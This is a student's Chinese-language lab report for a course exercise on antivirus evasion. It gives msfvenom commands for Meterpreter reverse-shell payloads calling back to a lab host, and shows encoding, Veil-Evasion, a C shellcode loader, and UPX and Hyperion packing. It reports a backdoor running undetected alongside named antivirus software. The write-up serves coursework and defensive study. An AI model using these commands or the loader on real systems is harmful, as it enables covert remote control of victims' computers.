Exp3 免杀原理与实践 20164302 王一帆
1 实践内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
2 报告内容
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
第一种:恶意代码中一般会有一段有明显特征的代码也就是特征码,如果杀毒软件通过扫描代码检测到的特征码与其特征码库的代码相匹配,就会把该该代码判定为恶意代码。
第二种:通过对恶意代码的行为进行跟踪、监视、观察、研究,有一些行为很像恶意代码的行为,当代码在运行时,杀毒软件发现了这种像特意代码的行为,则会把它判定为恶意代 码。
(2)免杀是做什么?
是指一种能使病毒木马免于被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
通过使用msf编码器生成后门程序;通过msfvenom生成.jar .php等其他类型的文件;通过veil-evasion,加壳工具等一些工具,使用shellcode编程。
2.2.实践总结与体会
通过本次实验,最大感悟就是原来杀软并不能够保证我们电脑的安全,经过自己简单改变的后门程序,很多我们熟悉、常用的杀毒软件都没有报毒,很轻松的就是通过了杀软的扫描,现在网络技术的真的是很可怕,应该注意保护自己电脑的安全。真的非常抱歉这么晚才交报告,veil真的下了好久好久,最后听同学说是网速问题,开着热点用流量才安装好,真的是宿舍网速太。。。
2.3.开启杀软能绝对防止电脑中恶意代码吗?
通过实验,我们可以明确的知道,杀软是无法绝对的防止电脑中恶意代码的,我们在实验中通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,运行后门程序。
3 实践过程
3.1 任务一
3.1.1使用msf编码器,生成meterpreter可执行文件
这里跟Exp2中生成后门的过程一样,所以我直接用上一次实验生成的20164302_backdoor.exe后门文件,送到Virscan、VirusTotal网站上检测。
在virscan网站上检测是提示文件名中有违法,所以又重新修改了文件文再进行扫描。
从扫描结果来看,很容易就被发现,我特意看了一下我电脑上安装的杀毒软件——金山毒霸,报告病毒。
3.1.2 使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码命令 mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.95.128 LPORT=4302 -f exe > met-encoded.exe ,将生成met-encode.exe直接在kali中打开浏览器进入virscan网站进行扫描。(为了节省时间,后面只用virscan扫描检测)
“危险”,有29个报毒,很显然不行,再进行十次编码看看, mfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.95.128 LPORT=4302 -f exe > met-encoded10.exe ,再将生成的后门程序扫描。
还是29个,看来一次编码和十次编码都是一样的,编码并没有什么用。
3.1.3 用msfvenom生成jar文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=4302 x > 4302_backdoor.jar ,进行扫描。
突然想到第一次扫描时,文件名的问题,所以又重新生成了一下。
由“危险”变为“警告”,但是还有8款报毒。
3.1.4 用msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=4302 x > 4302_backdoor_php.php ,扫描结果。
只有1个报毒了,“提醒”,感觉有希望。
3.1.5 使用veil-evasion生成后门程序及检测
Veil-Evasion是一个免杀平台,在Kali软件库中有,但没装。 apt-get install veil
输入 veil 进入veil,按“y"继续安装,
等了好久好久才安装,在安装过程期间,我继续做了后面的内容,这一部分是最后做的。
输入 use 1 进入Veil-Evasion。
list 看一下可用载荷
选用C语言生成payload, use c/meterpreter/rev_tcp.py
设置主机IP、端口号
set LHOST 192.168.95.128 set LPORT 4302
generate 生成payload,然后命名为veil_backdoor
注意上图veil_backdoor.exe所在位置,扫描一下,14个报毒。
3.2 任务二
3.2.1 半手工打造恶意软件(C语言调用Shellcode)
生成C语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=4302 -f c
利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,注意不要忘记函数头,最后保存为4302_backdoor.c。
int main() { void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); }
输入 i686-w64-mingw32-g++ 4302_shellcode.c -o 4302_shellcode.exe 生成可执行文件
放到VirScan上检测一下
用ncat传到windows上试一下
发现一个木马病毒,仔细看了一下,幸好不是4302_shellcode.exe被检测出来,是实验第一步里面检测的程序。
把报毒的程序处理之后,又进行了一次杀毒。
后门和杀软共存,居然成功了!!!
3.3 任务三
3.3.1 压缩壳UPX
upx 4302_shellcode.exe -o 4302_upx_shellcode.exe
3.3.2 加密壳Hyperion
cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v ~/007shellcode.exe 4302_hype_backdoor.exe
结果发现出了错误,是因为这个时候我veil还没有安装完,按照报错的提示我运行了 dpkg --add-architecture 1386 && apt-get update && > apt-get install wine32" 这段代码,然后就安装了好多好多。
23个??更多
3.4 任务四
3.4.1 通过组合应用各种技术实现恶意代码免杀
通过Shellcode与加壳组合之后进行反弹连接,并实现了与杀软共存
反弹成功,在Windows上运行一下
然后在自己的电脑上杀一下毒。
实现与杀软共存。
3.4.2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
另一台电脑:腾讯电脑管家 13.3.20237.212
修改本机Kali的IP为桥接模式下的IP,用c+shellcode的方法生成后门,回连成功,实现了后门与杀软共存。